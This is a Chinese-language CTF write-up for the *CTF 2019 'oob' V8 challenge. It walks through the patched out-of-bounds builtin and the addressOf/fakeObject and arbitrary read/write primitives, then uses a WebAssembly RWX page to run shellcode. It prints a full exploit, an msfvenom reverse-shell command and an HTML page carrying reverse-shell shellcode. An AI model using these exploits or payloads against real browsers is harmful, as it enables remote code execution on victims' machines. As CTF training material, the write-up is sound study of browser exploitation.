starctf 2019 oob
出题形式
一般浏览器的出题有两种,
一种是diff修改v8引擎源代码,人为制造出一个漏洞,
另一种是直接采用某个cve漏洞。
一般在大型比赛中会直接采用第二种方式,更考验选手的实战能力
出题者通常会提供一个diff文件,或直接给出一个编译过diff补丁后的浏览器程序。如果只给了一个diff文件,就需要我们自己去下载相关的commit源码,然后本地打上diff补丁,编译出浏览器程序,再进行本地调试
git apply < oob.diff
应用补丁,然后再编译即可
思路
1 分析漏洞
2 实现任意地址读写
3 利用wasm执行shellcode
分析diff
star ctf oob题目举例
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
可以看到给array对象新加了一个oob函数
a.oob() 会直接越界8字节返回一个8字节数据
a.oob(xxx) 会把xxx写入到越界的那8字节去
利用8字节数组越界
使用如下代码时,越界8字节刚好是array对象的map字段
var a = [1,2,3,1.1]; // 最后需要是浮点数 %DebugPrint(a); %SystemBreak();
测试是否符合我们的想法
var a = [1,2,3,1.1];
%DebugPrint(a);
%SystemBreak();
var data = a.oob();
console.log("[*] oob return data:" + data.toString());
%SystemBreak();
a.oob(2);
%SystemBreak();
覆盖map属性的利用,类型混淆
可以覆盖map属性,可以造成类型混淆
实现addressOf和fakeObject
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();
// 泄露指定对象的地址
// 把对象数组变成浮点数组
function addressOf(obj_to_leak){
obj_array[0] = obj_to_leak;
// type(obj)-->type(float)
obj_array.oob(float_array_map);
let addr = f2i(obj_array[0])-1n;
obj_array.oob(obj_array_map);
return addr;
}
// 返回一个位于指定地址的对象
// 把浮点数组变成对象数组
function fakeObject(addr_to_fake){
float_array[0] = i2f(addr_to_fake+1n);
// type(float)-->type(obj)
float_array.oob(obj_array_map);
let fake_obj = float_array[0];
float_array.oob(float_array_map);
return fake_obj;
}
实现任意地址读写
如果我们能够控制某块内存的内容,同时把这块内存伪造成一个虚假的对象——这里就是浮点数组对象,那么这个数组对象的element属性是可以控制的,通过控制该属性的值就可以做到任意地址读写了
// read & write anywhere
// 这是一块我们可以控制的内存
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),// fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2,
];
// 获取到这块内存的地址
var fake_array_addr = addressOf(fake_array);
// 将可控内存转换为对象
// 数据真正的起始点
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);
// 任意地址读
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
return leak_data;
}
// 任意地址写
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
}
通过上面的方式任意地址写,在写0x7fxxxx这样的高地址的时候会出现问题,地址的低位会被修改,导致出现访问异常。这里有另外一种方式来解决这个问题,DataView对象中的backing_store会指向申请的data_buf,修改backing_store为我们想要写的地址,并通过DataView对象的setBigUint64方法就可以往指定地址正常写入数据了。
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function writeDataview(addr,data){
write64(buf_backing_store_addr, addr);
data_view.setBigUint64(0, data, true);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
getshell
常规pwn题思路
由于已经具有任意地址读写的能力了,那么泄露出来libc地址然后改__free_hook为system就可以了
不稳定泄漏内存的方式
任意的创建一个数组,输出数组的地址后,往前搜索内存,会发现在其前面0x8000处附近的内存中存放了程序的地址,由此可以算出来程序基址。接着任意地址读泄露libc,修改__free_hook便可getshell了。
# 数组的地址: 0x00001a72862119d8
# 查看程序段的内存空间
gdb-peda$ vmmap d8
Start End Perm Name
0x00005604d2bd9000 0x00005604d2e70000 r--p /home/em/Desktop/software/v8/out.gn/x64.release/d8
0x00005604d2e70000 0x00005604d3936000 r-xp /home/em/Desktop/software/v8/out.gn/x64.release/d8
0x00005604d3936000 0x00005604d3976000 r--p /home/em/Desktop/software/v8/out.gn/x64.release/d8
0x00005604d3976000 0x00005604d3980000 rw-p /home/em/Desktop/software/v8/out.gn/x64.release/d8
# 在指定范围内搜索包含程序地址的地址
gdb-peda$ find 0x5604d2 0x00001a7286201000 0x00001a7286211900
Searching for '0x5604d2' in range: 0x1a7286201000 - 0x1a7286211900
Found 16 results, display max 16 items:
mapped : 0x1a7286201033 --> 0xf80b7100005604d2
mapped : 0x1a7286201043 --> 0xf81f4900005604d2
mapped : 0x1a7286201073 --> 0xf80b7100005604d2
mapped : 0x1a7286201083 --> 0xf81f4900005604d2
mapped : 0x1a72862010c3 --> 0xf80b7100005604d2
mapped : 0x1a72862010d3 --> 0xf8080100005604d2
mapped : 0x1a72862011d3 --> 0xf80b7100005604d2
mapped : 0x1a72862011e3 --> 0xf81f4900005604d2
mapped : 0x1a728620120b --> 0xf80b7100005604d2
mapped : 0x1a728620121b --> 0xf81f4900005604d2
mapped : 0x1a7286201243 --> 0xf80b7100005604d2
mapped : 0x1a7286201253 --> 0xf81f4900005604d2
mapped : 0x1a728620127b --> 0xf80b7100005604d2
mapped : 0x1a728620128b --> 0xf81f4900005604d2
mapped : 0x1a72862012b3 --> 0xf80b7100005604d2
mapped : 0x1a72862012c3 --> 0xf81f4900005604d2
gdb-peda$ x/10xg 0x1a7286201033-3
0x1a7286201030: 0x00005604d2e7a9c0 0x00003ea297f80b71
0x1a7286201040: 0x00005604d2e7a9c0 0x00003ea297f81f49
0x1a7286201050: 0x0000000a1f95f882 0x0000324a7a29c3d1
0x1a7286201060: 0x00003ea297f80321 0x00003ea297f80b71
0x1a7286201070: 0x00005604d2e7ad20 0x00003ea297f80b71
#搜索出来的地址确实属于程序段
gdb-peda$ vmmap 0x00005604d2e7a9c0
Start End Perm Name
0x00005604d2e70000 0x00005604d3936000 r-xp /home/em/Desktop/software/v8/out.gn/x64.release/d8
泄漏libc地址的脚本
// leak libc base
var a = [1.1, 2.2, 3.3];
var start_addr = addressOf(a);
var leak_d8_addr = 0n;
start_addr = start_addr-0x8000n;
while(1){
start_addr = start_addr-8n;
leak_d8_addr = read64(start_addr);
if(((leak_d8_addr&0x0000ff0000000fffn)==0x00005600000009c0n)||((leak_d8_addr&0x0000ff0000000fffn)==0x00005500000009c0n)){
console.log("leak process addr success: "+hex(leak_d8_addr));
break;
}
}
稳定泄漏的方式
v8在生成一个数组对象过程中,会对应着生成一个code对象,这个code对象中存储了和该数组对象相关的构造函数指令,而这些构造函数指令又会去调用d8二进制中的指令地址来完成对数组对象的构造。
浏览器直接运行shellcode wasm
wasm是让JavaScript直接执行高级语言生成的机器码的一种技术。
https://wasdk.github.io/WasmFiddle/ 可以在线将c转换成wasm并生成js调用代码
利用思路
1 加载正常wasm
2 通过addressOf找到wasm地址
3 通过任意地址写修改wasm内容
4 调用wasm
寻找wasm存放代码的地址
通过Function—>shared_info—>WasmExportedFunctionData—>instance,在instance+0x88的固定偏移处,就能读取到存储wasm代码的内存页起始地址
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
shellcode 的生成和写入
var shellcode=[
0x6e69622fbb48f631n,
0x5f54535668732f2fn,
0x050fd231583b6an
];
// 原始的shellcode是
// shellcode = “\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05”(23字节)
var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr); //这里写入之前泄露的rwx_page_addr地址
for (var i = 0; i < shellcode.length; i++)
data_view.setBigUint64(8*i, shellcode[i], true);
f();//调用wasm,实际调用到了shellcode
完整的exp
star ctf 2019 oob
// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();//oob函数出来的就是map
var float_array_map = float_array.oob();
// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;//泄漏出来的地址-1才是真实地址
obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
return obj_addr;
}
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);//地址需要+1才是v8中的正确表达方式
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型以便后续继续使用
return faked_obj;
}
// ××××××××3.read & write anywhere××××××××
// 这是一块我们可以控制的内存
var fake_array = [ //伪造一个对象
float_array_map,
i2f(0n),
i2f(0x41414141n),// fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2,
];
// 获取到这块内存的地址
var fake_array_addr = addressOf(fake_array);
// 将可控内存转换为对象
var fake_object_addr = fake_array_addr - 0x30n;
var fake_object = fakeObject(fake_object_addr);
// 任意地址读
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
return leak_data;
}
// 任意地址写
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm_func_addr: 0x" + hex(f_addr));
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
var shellcode=[
0x6e69622fbb48f631n,
0x5f54535668732f2fn,
0x050fd231583b6an
];
var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr); //这里写入之前泄露的rwx_page_addr地址
for (var i = 0; i < shellcode.length; i++)
data_view.setBigUint64(8*i, shellcode[i], true);
f();
远程getshell
生成shellcode
msfvenom -p linux/x64/shell_reverse_tcp LHOST=you_ip_addr LPORT=21000 -f python -o ~/Desktop/tmp/shellcode.txt
将js包装成html
启动chrome时需要关闭沙箱 ./chrome –no-sandbox
<!DOCTYPE html>
<html>
<body>
<h2>Hello world!</h2>
<script>
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();
// %DebugPrint(float_array_map);
// %SystemBreak();
function addressOf(obj_to_leak){
obj_array[0] = obj_to_leak;
// type(obj)-->type(float)
obj_array.oob(float_array_map);
let addr = f2i(obj_array[0])-1n;
obj_array.oob(obj_array_map);
return addr;
}
function fakeObject(addr_to_fake){
float_array[0] = i2f(addr_to_fake+1n);
// type(float)-->type(obj)
float_array.oob(obj_array_map);
let fake_obj = float_array[0];
float_array.oob(float_array_map);
return fake_obj;
}
// read & write anywhere
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),
i2f(0x1000000000n),
1.1,
2.2,
];
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
// console.log("fake obj: 0x"+hex(f2i(fake_object[0])));
// console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
// console.log("[*] fakeobj addr: 0x"+hex(addressOf(fake_object)));
fake_object[0] = i2f(data);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function writeDataview(addr,data){
write64(buf_backing_store_addr, addr);
data_view.setBigUint64(0, data, true);
// %SystemBreak();
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("f addr: 0x"+hex(f_addr));
var shared_info_addr = read64(f_addr+0x18n)-0x1n;
var wasm_exported_function = read64(shared_info_addr+8n)-1n;
var instance_addr = read64(wasm_exported_function+0x10n)-1n;
var rwx_page_addr = read64(instance_addr+0x88n);
console.log("rwx page addr: 0x"+hex(rwx_page_addr));
shellcode = [
0x6a5f026a9958296an,
0xb9489748050f5e01n,
0xbc9ae16808520002n,
0x6a5a106ae6894851n,
0x485e036a050f582an,
0x75050f58216aceffn,
0x2fbb4899583b6af6n,
0x530068732f6e6962n,
0xe689485752e78948n,
0x50fn
];
var data_buf = new ArrayBuffer(80);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr);
for (var i = 0; i < shellcode.length; i++)
data_view.setBigUint64(8*i, shellcode[i], true);
f();
</script>
</body>
</html>

浙公网安备 33010602011771号